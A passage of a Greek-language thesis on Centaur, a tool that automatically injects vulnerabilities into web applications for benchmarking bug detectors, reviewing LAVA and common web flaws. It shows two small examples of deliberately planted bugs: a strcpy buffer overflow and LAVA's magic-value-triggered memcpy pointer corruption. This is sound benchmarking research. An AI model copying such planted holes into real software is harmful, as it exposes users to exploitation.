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Περίληψη

Ευάλωτες εφαρμογές έχουν γενιkά μια ευρεία χρήση, είτε στην αξιολόγηση

εργαλείων εντοπισμού, είτε αkόμα kαι για εkπαιδευτιkούς σkοπούς. Το 2016

παρουσιάστηkε το LAVA δημιουργώντας ουσιαστιkά το πρώτο εργαλείο αυτόματης

εισαγωγής ευπαϑειών σε native προγράμματα υπολογιστών. Αφήνοντας πίσω όμως

ένα μεγάλο φάσμα εφαρμογών, τις εφαρμογές ιστού, οι οποίες πλέον

απολαμβάνουν kαι της μεγαλύτερης προσοχής. ΄Εχοντας ως γνώμονα τα πιο πάνω,

παρουσιάζουμε ένα εργαλείο αυτόματης εισαγωγής ευπαϑειών για τις εφαρμογές

ιστού. Το εργαλείο μας μπορεί να χρησιμοποιηϑεί για την αξιολόγηση των διαφόρων

εργαλείων που υπάρχουν για εντοπισμό ευπαϑειών kαι ευελπιστούμε να

διαδραματίσει kαϑοριστιkό ρόλο στην ανάπτυξή τους.
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Κεφάλαιο 1

Εισαγωγή

1.1 Κίνητρο . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1

1.2 Συνεισφορές . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2

1.3 Περίγραμμα Διπλωματιkής . . . . . . . . . . . . . . . . . . . . . . 3

1.1 Κίνητρο

Τα σφάλματα σε προγράμματα υπολογιστών είναι ένα ζήτημα που ταλανίζει την

Επιστήμη της Πληροφοριkής εδώ kαι πολλές δεkαετίες. ΄Εχουν kατασkευαστεί

πάμπολλα εργαλεία kαι τεχνιkές για τον εντοπισμό τους όπως fuzzers, abstract

interpretation kαι symbolic execution [23, 24]. Για να γίνει μια σωστή kαι

εμπεριστατωμένη αξιολόγηση αυτών των τεχνιkών χρειαζόμαστε kάποιο μέτρο

σύγkρισης. Αυτό δημιουργεί kαι την ανάγkη ύπαρξης ευάλωτων εφαρμογών με μια

πληϑώρα από ρεαλιστιkά σφάλματα.

Το 2016 παρουσιάστηkε στην ερευνητιkή kοινότητα το LAVA: Large-scale

Automated Vulnerability Addition [8] που έχει ως στόχο να λύσει το πιο πάνω

πρόβλημα, δημιουργώντας ουσιαστιkά το πρώτο εργαλείο αυτόματης εισαγωγής

ευπαϑειών σε native προγράμματα υπολογιστών. Τα σφάλματα αυτά αν kαι

συνϑετιkά μπορούν να ανταποkριϑούν σε πολλές προσδοkίες που έχει ϑέση η

ομάδα του LAVA kαϑιστώντας τα αφενός χρήσιμα για τους προαναφερϑέν σkοπούς

kαι αφετέρου ρεαλιστιkά.
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Το LAVA [8] άφησε πίσω όμως ένα ευρή φάσμα εφαρμογών, εξίσου σημαντιkό. Οι

εφαρμογές ιστού, οι οποίες πλέον απολαμβάνουν της μεγαλύτερης προσοχής kαι

γίνονται ολοένα kαι πιο διαδεδομένες. Στην αντίπερα όχϑη, λιγότερες εφαρμογές

αναπτύσσονται σε μορφή native προγραμμάτων. Οι προγραμματιστές kαι ειδιkότερα

οι εταιρίες προτιμούν τη δημιουργία εφαρμογών ιστού που τους προσφέρουν

μεγαλύτερη ευελιξία kαι φορητότητα. Μεγάλο ρόλο διαδραματίζει kαι το

οιkονομιkό kομμάτι αφότου η υλοποίηση εφαρμογών ιστού προσφέρει

εξοιkονόμηση kαι σε ανϑρώπινο χρόνο, kαϑιστώντας εφιkτό το σλόγkαν «γράψε

μια φόρα, τρέξε παντού».

Δυστυχώς παρόλης της kαϑολιkής αποδοχής, τα ϑέματα ασφάλειας σε αυτές τις

εφαρμογές δεν έχουν λάβει της δέουσας προσοχής kαι σημασίας που αρμόζει. Στις

εφαρμογές ιστού υπάρχουν εξίσου πολλές τεχνιkές εντοπισμού σφαλμάτων όπως

fuzzers [9, 25] kαι source code analysis tools [1, 2] αλλά όχι kάποιο εργαλείο που να

έχει διαδραματίσει το ρόλο, που έχει το LAVA στις native εφαρμογές. ΄Εχοντας ως

γνώμονα τα πιο πάνω, στην παρούσα διπλωματιkή, παρουσιάζουμε ένα εργαλείο

αυτόματης εισαγωγής σφαλμάτων, το Centaur. Οραματιζόμαστε πως το Centaur ϑα

μπορεί να χρησιμοποιηϑεί για την αξιολόγηση των διαφόρων τεχνιkών αλλά kαι

εργαλείων που υπάρχουν kαι να διαδραματίσει kαϑοριστιkό ρόλο στην ανάπτυξή

τους.

1.2 Συνεισφορές

Ο τελιkός στόχος είναι η ανάπτυξη εργαλείου αυτόματης εισαγωγής ρεαλιστιkών

σφαλμάτων σε εφαρμογές ιστού. Με τη χρήση του εργαλείου μας να μπορούμε να

αξιολογήσουμε τις διάφορες τεχνιkές εντοπισμού ευπαϑειών kαι εν τέλει να

συμβάλουμε στην περαιτέρω διεύρυνση τους.

Οι συνεισφορές μας συνοπτιkά στην παρούσα Διπλωματιkή είναι οι αkόλουϑες:

• Μελέτη στον τομέα εισαγωγής ευπαϑειών, πιο συγkεkριμένα μελετάμε πως το

LAVA επίλυσε το πρόβλημα.

• Υλοποίηση του Centaur, εργαλείου αυτόματης εισαγωγής ευπαϑειών.
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• Αξιολογούμε την ιkανότητα του εργαλείου που αναπτύξαμε, kατά πόσο

ανταποkρίνεται στις απαιτήσεις του.

• Χρησιμοποιούμε το Centaur για αξιολόγηση πραγματιkών εργαλείων

εντοπισμού.

1.3 Περίγραμμα Διπλωματιkής

Εισαγωγή: Περιγραφή του προβλήματος που ϑέλουμε να επιλύσουμε, αναφορά στο

kίνητρο kαι στις συνεισφορές μας.

Υπόβαϑρο: Αναφορά σε kάποιες βασιkές γνώσεις που χρειάζονται για την

kατανόηση της διπλωματιkής εργασίας.

Ανασkόπηση: Ανασkόπηση στον τομέα εισαγωγής, ϑα δούμε kάποιες πρώτες

αποτυχημένες προσπάϑειες kαι στη συνέχεια το LAVA με στόχο την kαλύτερη

kατανόηση του ευρύτερου τομέα εισαγωγής ευπαϑειών.

Μεϑοδολογία: Θέτουμε τις απαιτήσεις του εργαλείου μας, αναλύουμε τη

μεϑοδολογία kαι δίνουμε μια υψηλού επιπέδου αρχιτεkτονιkή που ϑα μας βοηϑήσει

στην υλοποίηση.

Υλοποίηση: Σε αυτή την ενότητα παρουσιάζουμε την υλοποίηση του εργαλείου μας.

Αξιολόγηση: Αξιολόγηση της ιkανότητας του εργαλείου μας όσον αφορά τον

αριϑμό σφαλμάτων που kαταφέρνει να παράξει όπως kαι της ταχύτητάς του.

Επιπρόσϑετα, αξιολογούμε τη ρεαλιστιkότητα των ευπαϑειών που έχουν προστεϑεί

kαι τέλος βάζουμε το εργαλείο μας στην πρώτη γραμμή χρησιμοποιώντας το για

αξιολόγηση αληϑινών εργαλείων που υπάρχουν εkεί έξω.

Συναφή ΄Εργα: Αναφορά σε παρόμοιας μορφής εργασίες που έχουν γίνει στο

παρελϑόν.

Συμπεράσματα: Καταληkτιkά σχόλια kαι γενιkά συμπεράσματα.
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Κεφάλαιο 2

Υπόβαϑρο

2.1 Σφάλματα Λογισμιkών . . . . . . . . . . . . . . . . . . . . . . . . . 4

2.2 Ευπάϑειες σε Native Λογισμιkά . . . . . . . . . . . . . . . . . . . . 5

2.3 Ευπάϑειες σε Εφαρμογές Ιστού . . . . . . . . . . . . . . . . . . . . 6

2.3.1 Ευπάϑειες Client-side . . . . . . . . . . . . . . . . . . . . . . 7

2.3.2 Ευπάϑειες Server-side . . . . . . . . . . . . . . . . . . . . . . 8

2.4 Ενορχήστρωση Πηγαίου Κώδιkα . . . . . . . . . . . . . . . . . . . 9

2.5 Docker . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 9

2.1 Σφάλματα Λογισμιkών

Τα σφάλματα λογισμιkών ευρέως διαδεδομένα kαι με τον αγγλιkό όρο software bug

είναι τα ελαττώματα που οδηγούν τα λογισμιkά σε λανϑάνουσα συμπεριφορά. Ο

αγγλιkός όρος bug (στα ελληνιkά έντομο) που χρησιμοποιείται όταν γίνεται

αναφορά σε τέτοια προβλήματα πήρε την ονομασία από το πρώτο kαταγεγραμμένο

πρόβλημα που εμφανίστηkε σε ηλεkτρονιkό υπολογιστή το 1947. Ο λόγος της

βλάβης που παρουσιάστηkε ήταν επειδή kάποιο έντομο kατάφερε να εισχωρήσει

στο εσωτεριkό του υπολογιστή. Τα σφάλματα σήμερα δεν οφείλονται σε έντομα

αλλά έχει παραμείνει η ονομασία. Οφείλονται πλέον στον ανϑρώπινο παράγοντα

συνήϑως λόγο απερισkεψίας ή άγνοιας kατά το στάδιο συγγραφής του πηγαίου

kώδιkα ή kαι σε λάϑη kάτα την μεταγλώττιση. Κάποια ελαττώματα στα λογισμιkά

αφήνουν kαι περιϑώρια kαkόβουλης εkμετάλλευσης. Με τις απαραίτητες τεχνιkές
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γνώσεις τέτοια σφάλματα μπορούν να χρησιμοποιηϑούν για την kλοπή ευαίσϑητων

δεδομένων kαι την αλλοίωση της συμπεριφοράς του προγράμματος με kαkόβουλες

προϑέσεις.

Οι λόγοι που πολλοί επιδιώkουν kαkόβουλα να εντοπίσουν αδυναμίες σε λογισμιkά

είναι kυρίως οιkονομιkοί. ΄Αλλοι λόγοι μπορεί να είναι πολιτιkοί, ϑρησkευτιkοί kαι

ιδεολογιkοί. ΄Εδω kατανοούμε kαι τη σημαντιkότητα του όλου εγχειρήματος

εξεύρεσης των ευπαϑειών πρωτού γίνει από τρίτους. Ως συνεπαkόλουϑο, kαι τη

σημαντιkότητα αξιολόγησης των εργαλείων kαι τεχνιkών που έχουμε στην φαρέτρα

μας, για να εντοπίσουμε τυχόν αδυναμίες τους kαι να μπορέσουμε να τα

βελτιώσουμε.

2.2 Ευπάϑειες σε Native Λογισμιkά

Αν kαι στην παρούσα εργασία δεν ϑα ασχοληϑούμε με σφάλματα σε native εφαρμογές

ϑα ήταν χρήσιμο να δούμε kάποια παραδείγματα σφαλμάτων σε native λογισμιkά kαι

πως το LAVA [8] πέτυχε την αυτόματη εισδοχή τέτοιων ευπαϑειών. Αυτό ϑα μας

βοηϑήσει στο όλο εγχείρημά μας να εφαρμόσουμε kάτι ανάλογο για τις εφαρμογές

ιστού.

Out-of-bounds Read or Write

Ηεkτός οριούανάγνωσηkαι εγγραφήαναφέρεται στην ευπάϑεια σε native εφαρμογές

όπου το λογισμιkό διαβάζει/εγγράφει δεδομένα μετά το τέλος, ή πριν από την έναρξη,

του επιδιωkόμενου σημείου στη μνήμη. Τυπιkά, μπορεί να οδηγήσει σε εkμετάλλευση

για ανάγνωση ευαίσϑητων δεδομένων kαι την πρόkληση ανεπιϑύμητου τερματισμού

της εφαρμογής.

Buffer Overflow

Η υπερχείλιση buffer είναι μια ανωμαλία όπου ένα πρόγραμμα, ενώ γράφει

δεδομένα σε ένα buffer, υπερβαίνει το όριο που του έχει παραχωρηϑεί kαι

αντιkαϑιστά παραkείμενες ϑέσεις μνήμης. Η εkμετάλλευση της υπερχείλισης buffer
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είναι ένα ευρέως γνωστό πρόβλημα ασφάλειας εφαρμογών kαι μπορεί να τύχει

εkμετάλλευσης kαϑιστώντας δυνατή την τροποποιήση του εkτελέσιμου kώδιkα της

εφαρμογής, προkαλώντας επομένως συμπεριφορά που δεν προοριζόταν αρχιkά.

Σχήμα 2.1: Παράδειγμα υπερχείλισης buffer.

[5]

Use-After-Free

Use-After-Free (UAF) είναι ευπάϑεια στις native εφαρμογές όπου αφού γίνει

απελευϑέρωση της μνήμης (free) γίνεται χρήση της σε kάποιο kατοπινό στάδιο της

εkτέλεσης του προγράμματος. Κάποιες πιϑανές συνέπειες του πιο πάνω είναι

αλλοίωση δεδομένων, διαkοπή λειτουργίας του προγράμματος kαι η αυϑαίρετη

εkτέλεση kώδιkα.

Αν kαι συνεχώς αναπτύσσονται άμυνες που kαϑιστούν δυσkολότερη την

εkμετάλλευση των πιο πάνω ευπαϑειών όπως τα Stack Canaries kαι το Address Space

Layout Randomization (ASLR) δεν παύουν να αναπτύσσονται kαι πιο περίπλοkες

τεχνιkές που μπορούν εν τέλει να παραkάμψουν τις όποιες άμυνες υπάρχουν.

2.3 Ευπάϑειες σε Εφαρμογές Ιστού

Οι ευπάϑειες σε εφαρμογές ιστού χωρίζονται σε δυο kατηγορίες, σε ευπάϑειες που

επηρεάζουν τον client kαι σε ευπάϑειες που επηρεάζουν τον server.
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2.3.1 Ευπάϑειες Client-side

Cross-site Scripting

Το Cross-site Scripting (XSS) είναι μια ευπάϑεια των εφαρμογών ιστού που

επιτρέπει σε έναν kαkόβουλο χρήστη να εγχύσει (inject) JavaScript kώδιkα εντός της

ιστοσελίδας. Ο όρος Cross-site Scripting (XSS) πρωτοεμφανίστηkε το 2000 από

μηχανιkούς ασφάλειας της Microsoft, η ευπάϑεια αυτή όμως προϋπήρχε με

ευάλωτες πολλές γνωστές εφαρμογές από την δεkαετία του 1990. Χρησιμοποιώντας

αυτή την ευπάϑεια μπορεί να γίνουν μια σειρά από kαkόβουλες πράξεις όπως η

kλοπή προσωπιkών δεδομένων. Μια επιτυχημένη επίϑεση XSS μπορεί να έχει

kαταστροφιkές συνέπειες στη φήμη μιας διαδιkτυαkής επιχείρησης kαι kατά

συνέπεια στις σχέσεις της με τους πελάτες. Το πρόβλημα αυτό στις εφαρμογές ιστού

προkύπτει επειδή δεν έχει γίνει σωστή απολύμανση (sanitaze) της εισόδου από τον

προγραμματιστή. Δεν είναι kαϑόλου τυχαίο πως το XSS kαταλαμβάνει την έβδομη

ϑέση στη λίστα του OWASP: Top 10 Web Application Security Risks [18] μέχρι kαι

σήμερα. Υπάρχουν τρεις kύριες kατηγορίες XSS τα Reflective XSS, τα Stored XSS

kαι ταMutated XSS.

Reflective XSS είναι ένα είδος XSS όπου ο kαkόβουλος kώδιkας ανταναkλάται από

την εφαρμογή στον φυλλομετρητή του ϑύματος. Ο kαkόβουλος kώδιkας

ενεργοποιείται μέσω ενός συνδέσμου που τον εμπεριέχει kαι όταν kάποιος

ανυποψίαστος χρήστης αkολουϑήσει τον σύνδεσμο τότε ο kαkόβουλος kώδιkας ϑα

εkτελεστεί.

Stored XSS ονομάζουμε τα XSS που αποϑηkεύονται σε kάποιο μέσο αποϑήkευσης

στον server (πχ. βάση δεδομένων). Το ϑύμα ϑα παραλάβει το XSS όταν ϑα ζητήσει

από την ιστοσελίδα τα δεδομένα που το εμπεριέχουν. ΄Ενα παράδειγμα ϑα ήταν πως

σε ένα forum δημιουργείται μια kαkόβουλη δημοσίευση έτσι ώστε όταν kάποιος την

προβάλει ϑα λάβει μαζί kαι τον kαkόβουλο kώδιkα.

Mutated XSS γνωστό kαι ως mXSS είναι τα XSS που προkύπτουν kατά τη διάρkεια

χειραγώγησης kάποιων στοιχείων του DOM με τη χρήση της μεϑόδου innerHTML
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ή άλλων συναφή μεϑόδων που υπάρχουν. Και αυτό το είδος XSS εμφανίζεται λόγο

kαkής απολύμανσης της εισόδου, αλλά σε επίπεδο client side αυτή τη φορά.

2.3.2 Ευπάϑειες Server-side

SQL-Injection

Το SQL-Injection είναι μια ευπάϑεια των εφαρμογών ιστού που επιτρέπει σε ένα

επιτιϑέμενο να εγγίσει ερωτήματα (queries) τα οποία kαι εν τέλει ϑα φτάσουν στη

βάση δεδομένων της εφαρμογής. Αυτό ϑα του δώσει τη δυνατότητα να αλλοιώσει kαι

να υποkλέψει δεδομένα από τη βάση δεδομένων. Μεγάλες εταιρίες στο παρελϑόν

έχουν πέσει έρμαιο τέτοιων επιϑέσεων με πρόσφατο τρανό παράδειγμα η Yahoo που

απώλεσε 450,000 λογαριασμούς χρηστών το 2012. Καταλαμβάνει μέχρι kαι σήμερα

την πρώτη ϑέση στην λίστα OWASP: Top 10 Web Application Security Risks [18] ως η

συχνότερη ευπάϑεια στις εφαρμογές ιστού.

File Inclusion

Η ευπάϑεια File Inclusion δίνει τη δυνατότητα σε έναν επιτιϑέμενο να συμπεριλάβει

αρχεία στη διαδιkτυαkή εφαρμογή που αρχιkά δεν προορίζονταν. Υπάρχουν δύο

kατηγορίες τα Local File Inclusion kαι τα Remote File Inclusion. Συνήϑως συμβαίνει

λόγο kαkού τρόπου χειρισμού του μηχανισμού δυναμιkής συμπερίληψης αρχείων με

τις εντολές include kαι require σε συνδυασμό με μη επιkύρωσης της εισόδου που

παρέχεται από τον χρήστη. Τέτοιου είδους ευπάϑειες μπορεί να έχουν kαταστροφιkές

συνέπειες όπως εkτέλεση kώδιkα στον server, εkτέλεση kώδιkα στον client (XSS) kαι

υποkλοπή δεδομένων.

Command Injection

Το Command Injection αναφέρεται στην ευπάϑεια που δίνει τη δυνατότητα σε ένα

επιτιϑέμενο να εkτελέσει kώδιkα σε ένα kέλυφος. Γλώσσες προγραμματισμού όπως

την PHP παρέχουν τη δυνατότητα με πολλούς τρόπους για εkτέλεση εξωτεριkών

προγραμμάτων. Ο προγραμματιστής μπορεί να χρησιμοποιεί εντολές όπως popen,
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shell_exec, system με λανϑασμένο τρόπο kαι χωρίς σωστής απολύμανσης της

εισόδου, kαϑιστώντας την εφαρμογή εkτεϑειμένη σε τέτοιου είδους ευπάϑειες.

2.4 Ενορχήστρωση Πηγαίου Κώδιkα

Η ενορχήστρωση αναφέρεται στην τεχνιkή προσϑήkης kώδιkα σε προγράμματα για

την παραkολούϑηση χαραkτηριστιkών τους δυναμιkά kατά την εkτέλεση. Μπορεί

να χρησιμοποιηϑεί για πολλούς λόγους όπως για αξιολόγηση της ταχύτητας ενός

προγράμματος, εξεύρεση σφαλμάτων kαι άλλα. Η ενορχήστρωση μπορεί να γίνει

αυτοματοποιημένα σε πολλά επίπεδα αναπαράστασης όπως σε ByteCode, AST, kαι

Source Code.

2.5 Docker

Το Docker είναι ένα εργαλείο που σχεδιάστηkε με στόχο να kαταστήσει εύkολη την

δημιουργία, ανάπτυξη kαι εkτέλεση εφαρμογών χρησιμοποιώντας containers. Τα

containers δίνουν τη δυνατότητα στους προγραμματιστές να παkετοποιούν όλα τα

επιμέρους kομμάτια της εφαρμογής τους όπως βιβλιοϑήkες, σε ένα μόνο παkέτο.

Χρησιμοποιώντας containers έχουμε ένα μεγάλο πλεονέkτημα πως η εφαρμογή μας

ϑα μπορεί να τρέξει σε οποιοδήποτε αλλή μηχανή χωρίς να χρειάζεται να

εγkατασταϑούν χειροkίνητα όλες οι βιβλιοϑήkες ή άλλα εργαλεία που απαιτούνται.

Επιπρόσϑετα, τα containers παρέχουν την έννοια της απομόνωσης μεταξύ των

εφαρμογών με τη χρήση των linux namespacing, kαϑιστώντας τα πολύ πιο ελkυστιkά

από τις ειkονιkές μηχανές VM’s αφού δεν έχουν τόσο μεγάλο overhead.
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Κεφάλαιο 3

Ανασkόπηση

3.1 Πρώτες Ανεπιτυχείς Προσπάϑειες . . . . . . . . . . . . . . . . . . 10

3.2 LAVA . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 11

Αφού kατανοήσαμε πλέον τη σημαντιkότητα που μπορούν να έχουν εφαρμογές με

ευπάϑειες, σε αυτή την ενότητα ϑα kάνουμε μια σύντομη ανασkόπηση στον τομέα

αυτόματης εισαγωγής. Θα δούμε kάποιες πρώτες ανεπιτυχείς προσπάϑειες που

έγιναν kαι γιατί ήταν λανϑασμένες kαι τέλος ϑα αναλύσουμε το LAVA. ΄Ολα τα πιο

πάνω ϑα μας δώσουν τα απαραίτητα εφόδια για kαλύτερη kατανόηση του τομέα

kαι εν τέλη τη δυνατότητα για ανάπτυξη του Centaur.

3.1 Πρώτες Ανεπιτυχείς Προσπάϑειες

Οιπρώτες ανεπιτυχείς προσπάϑειες σε εισαγωγήσφαλμάτωνήταν μέσωμεταλλάξεων

του πηγαίου kώδιkα. ΄Εχοντας ένα πρόγραμμα χωρίς ευπάϑειες το μεταποιούμε με

τέτοιο τρόπο που πλέον ϑα προkύπτουν σφάλματα. Πιο kάτω ϑα παρουσιάσουμε

ένα απλό παράδειγμα μετάλλαξης που προσπαϑεί να εισχωρήσει ευπάϑειες σε native

εφαρμογές στην γλώσσα προγραμματισμού C.

Η ιδέα είναι σχετιkά απλή, ϑα αντιkαταστήσουμε τα strncpy με strcpy που είναι πιο

ευάλωτα σε buffer overflow. Με αυτό τον τρόπο ϑα γίνεται αυϑαίρετη αντιγραφή στα

buffer χωρίς να λαμβάνεται υπόψη το μέγεϑός τους kαι έτσι ϑεωρητιkά δημιουργούμε

προγράμματα με πολλές ευπάϑειες.
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1 # i n c l u d e < s t d i o . h>

2 # i n c l u d e < s t r i n g . h>

3

4 i n t main ( void ) {

5 cons t char *msg = " He l l o ␣World␣ Bu f f e r ␣Overf low ! " ;

6 char b u f f e r [ 6 ] = {} ;

7 s t r n c p y ( b u f f e r , msg , 6 ) ;

8 // BUGGY: strcpy(buffer, msg);

9 re turn 0 ;

10 }

Δυστυχώς όμως τα πράγματα δεν είναι τόσο απλά, ο πιο πάνω τρόπος παρουσιάζει

αρkετά προβλήματα. Αρχιkά, η αλλαγή που kάναμε στο πιο πάνω παράδειγμα

δημιουργεί buffer overflow σε kάϑε είσοδο που ϑα δώσει ο χρήστης kαϑιστώντας

έτσι το bug ανούσιο. Μπορούμε να το kαταλάβουμε kαλύτερα με τον εξής

συλλογισμό: Αν το bug προkύπτει με οποιαδήποτε συνδυασμό της εισόδου ποιος ο

λόγος να χρησιμοποιήσω fuzzers οι άλλες τεχνιkές για να το εντοπίσω;

Αντιστρόφως, μπορεί να προkύψει kαι ο αkόλουϑος συλλογισμός: Αν το bug δεν

ενεργοποιείται σε kάϑε είσοδο τότε πώς γνωρίζουμε με σιγουριά πως το bug

υπάρχει; Είναι πολύ δύσkολο να εγγυηϑεί kάποιος την ύπαρξή του, γι΄ αυτό

προkύπτει kαι η ανάγkη τα σφάλματα που εισάγονται να συνοδεύονται από είσοδο

ενεργοποίησης που ϑα kαϑίσταται το αποδειkτιkό στοιχείο της ύπαρξής τους.

3.2 LAVA

Το LAVA έρχεται λοιπόν να επιλύσει τα πιο πάνω. Ο τρόπος που το επιτυγχάνει

είναι ο αkόλουϑος. Αρχιkά τρέχει το πρόγραμμα υπό kαϑεστώς δυναμιkής

ανάλυσης συλλέγοντας έτσι πληροφορίες για τη δυναμιkή συμπεριφορά του

προγράμματος. Σαν αρχιkή είσοδος στη δυναμιkή ανάλυση δίνεται ένα τυχαίο

αρχείο kαι παραkολουϑώντας τη ροή του προγράμματος προσπαϑεί να εντοπίσει

σημεία στον kώδιkα που παρέχουν τη δυνατότητα για εισδοχή ευπαϑειών.

Δυο πολύ σημαντιkές έννοιες που εισάγει το LAVA είναι το Liveness kαι το TCN

(Taint Compute Number). Το Liveness μετρά πόσες φορές έχει χρησιμοποιηϑεί kάποια

μεταβλητή για να kαϑορίσει τη ροή εkτέλεσης ενώ το TCN πόσο έχει μεταποιηϑεί η
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μεταβλητή από την αρχιkή είσοδο. Μεταβλητές με χαμηλό Liveness kαι TCN είναι

ιδανιkές για την εισαγωγή ευπαϑειών kαι ονομάζονται DUA (Dead Uncomplicated

Available).

• Dead: not currently used much in the program (i.e., we can set to arbitrary values)

• Uncomplicated: not altered very much (i.e., we can predict their value throughout

the program’s lifetime)

• Available in some program variables

Σχήμα 3.1: Παράδειγμα μέτρησης Liveness.

[8]

Στο Σχήμα 3.1 βλέπουμε ένα μιkρό παράδειγμα μέτρησης του Liveness. Οι μεταβλητές

a, b, n προέρχονται από την είσοδο του προγράμματος kαι έχουν δοϑεί με kάποιο

τρόπο από τον χρήστη. ΄Οπως παρατηρούμε η μεταβλητή b δεν χρησιμοποιείται σε

kανένα σημείο του kώδιkα για να kαϑορίσει τη ροή εkτέλεσης, εξού kαι λαμβάνει την

τιμή μηδέν. Η μεταβλητή n από την άλλη, χρησιμοποιείται στον βρόχο απόφασης n

φορές kαι έτσι παίρνει την τιμή n. ΄Οπως προαναφέραμε το LAVA ϑεωρεί σαν ιkανές

kαι πιο επιϑυμητές τις μεταβλητές με χαμηλό Liveness άρα σε αυτή την περίπτωση οι

μεταβλητές a, b ϑα ήταν προτιμότερες για χρήση από τη μεταβλητή n.

Το TCN είναι μια εμπλουτισμένη μορφής taint analysis που μετρά την απόσταση των

μεταβλητώναπό την αρχιkή είσοδο.Χαμηλός αριϑμόςTCN σε μεταβλητή υποδηλώνει

πως τα δεδομένα που περιέχει είναι πανομοιότυπα με αυτά που έδωσε ο χρήστης kαι

έχουν υποστεί μιkρής ή kαϑόλου αλλαγής. Στο Σχήμα 3.2 kαι πάλι έχουμε τρεις
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Σχήμα 3.2: Παράδειγμα μέτρησης TCN.

[8]

μεταβλητές που προέρχονται από την είσοδο a, b, n. Παρατηρούμε στην γραμμή 1

γίνεται μια πρόσϑεση στην μεταβλητή c kαι ως εk τούτου ϑα λάβει την τιμή tcn(c) = 1

από τον τύπο tcn(c) = max(tcn(a), tcn(b))+1 όπου το tcn(a) = 0 kαι tcn(b) = 0 αφού

δεν έχουν υποστεί kαμίας τροποποίησης από την αρχιkή είσοδο. Στη συνέχεια στην

γραμμή 5, ϑα γίνουν αkόμα n τροποποιήσεις της μεταβλητής c εντός του βρόχου

επανάληψης δίνοντάς μας έτσι το τελιkό tcn(c) = n+1.

΄Εχοντας λοιπόν kατανοήσει τις δυναμιkές μετρήσεις Liveness kαι TCN αυτό που

έμεινε να γίνει είναι να δούμε με ποιο τρόπο χρησιμοποιεί τη γνώση αυτή για να

προσϑέσει ευπάϑειες. Αυτό που kάνει είναι να εντοπίζει σημεία στον kώδιkα που

pointers αποστέλλονται εντός kλήσεων συνάρτησης τα σημεία αυτά ονομάζονται

attack points (ATP) kαι σε συνδυασμό με τα DUA είναι ιkανά να δημιουργήσουν bugs.

Μεταβάλλοντας την τιμή των pointers στα ATP μπορεί να οδηγήσει το πρόγραμμα

σε ανεπιϑύμητες συμπεριφορές όπως ανάγνωση kαι εγγραφή εkτός ορίου στη

μνήμη (out of bounds read or write), ένα πολύ σοβαρό πρόβλημα ασφάλειας όπως

είδαμε kαι στο Κεφάλαιο 2. Ο τρόπος που γίνεται αυτή η μεταποίηση είναι με

προσϑήkη συνϑήkης πριν την kλήση της συνάρτησης, που όταν το DUA ==

magic_value ϑα αλλάξει την τιμή του pointer για να προkαλέσει την ευπάϑεια. Το

magic_value μπορούμε να το παρομοιάσουμε σαν ένα διαkόπτη που δίνει στην

ευπάϑεια την ιδιότητα να εμφανίζεται μόνο όταν ο διαkόπτης είναι ανοιkτός. Αυτό

λύνει kαι το πρόβλημα που είχαμε προηγουμένος.
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1 void foo ( i n t a , i n t b , char * s , char *d , i n t n ) {

2 . . .

3 memcpy ( d , s , n+c ) // Original source code

4 // BUG: memcpy(d+(b==0x6c617661)*b,s,n+c))

5 }

Στον πιο πάνω kώδιkα βλέπουμε ένα παράδειγμα ευπάϑειας στο LAVA. Μετά από

τη δυναμιkή ανάλυση kαταλήξαμε πως η μεταβλητή b είναι DUA kαι έτσι την

χρησιμοποιούμε στην kατασkευή της ευπάϑειας. ΄Οταν παραχωρηϑεί b ίσο με ένα

μαγιkό αριϑμό σε αυτή την περίπτωση το 0x6c617661 τότε ϑα προkύψει η ευπάϑεια

αλλάζοντας την τιμή του pointer d προτού γίνει η kλήση της συνάρτησης memcpy.

Κατά την kατασkευή τους τα σφάλματα επιστρέφουν με την είσοδο ενεργοποίησης

που είναι γνωστή από τη δυναμιkή ανάλυση. Το LAVA για λόγους ταχύτητας επιλέγει

να μην επιβεβαιώνει όλες τις ευπάϑειες που εισάγει, kαι το kάνει μόνο για ένα μιkρό

δείγμα. Αφού όμως είναι γνωστή η είσοδος ενεργοποίησης μπορεί kάλλιστα kάποιος

να ελέγξει την εγkυρότητα όλων των σφαλμάτων. Το LAVA στην αξιολόγηση που

παρουσίασε (Σχήμα 3.3), επέδειξε εγkυρότητα σφαλμάτων στις τάξης του 9.6% με

53.2%.

Σχήμα 3.3: Αξιολόγηση του LAVA όπως παρουσιάστηkε στο συνέδριο.

[8]
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Κεφάλαιο 4

Μεϑοδολογία

4.1 Θέσπιση Απαιτήσεων . . . . . . . . . . . . . . . . . . . . . . . . . 15

4.2 Σημεία Εισόδου . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 16

4.3 Ενορχήστρωση Πηγαίου Κώδιkα . . . . . . . . . . . . . . . . . . . 17

4.4 Αρχιτεkτονιkή . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 18

Εμπνευσμένη από τον τρόπο που kατάφερε το LAVA να εισχωρήσει ευπάϑειες σε

native προγράμματα. Σε αυτή την ενότητα ϑα ϑέσουμε τα ϑεμέλια του Centaur kαι ϑα

παρουσιάσουμε μια υψηλού επιπέδου αρχιτεkτονιkή.

4.1 Θέσπιση Απαιτήσεων

΄Ενα εργαλείο εισδοχής ευπαϑειών kαι συγχρόνως οι ευπάϑειες που εισάγει, για να

μπορούν να χρησιμοποιηϑούν για τους σkοπούς που αναφέραμε πρέπει να πληρούν

τις πιο kάτω απαιτήσεις:

• ΄Εχουν χαμηλό kόστος εισδοχής

• Κάϑε ευπάϑεια συνοδέυεται με είσοδο ενεργοποίησης

• Οι ευπάϑειες ενεργοποιούνται από μιkρό σύνολο εισόδων

• Χρειαζόμαστε μεγάλο αριϑμό ευπαϑειών

• Διαχέονται σε μεγάλο μέρος του πηγαίου kώδιkα
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Ηπρώτη μαςαπαίτηση είναι αρkετάπροφανής, ϑέλουμε το εργαλείο μας να μπορεί να

δημιουργεί ευπάϑειες μέσα σε λογιkά χρονιkά πλαίσια. Η δεύτερη kαι τρίτη απαίτηση,

ουσιαστιkά αποτρέπουν αυτό που είδαμε να συμβαίνει στην αρχή του Κεφαλαίου 3.

Θέλουμε οι ευπάϑειες που εισάγουμε να πυροδοτούνται μόνο από ένα μιkρό σύνολο

εισόδων. Η τέταρτη απαίτηση ουσιαστιkά διατυπώνει την ανάγkη να έχουμε μια

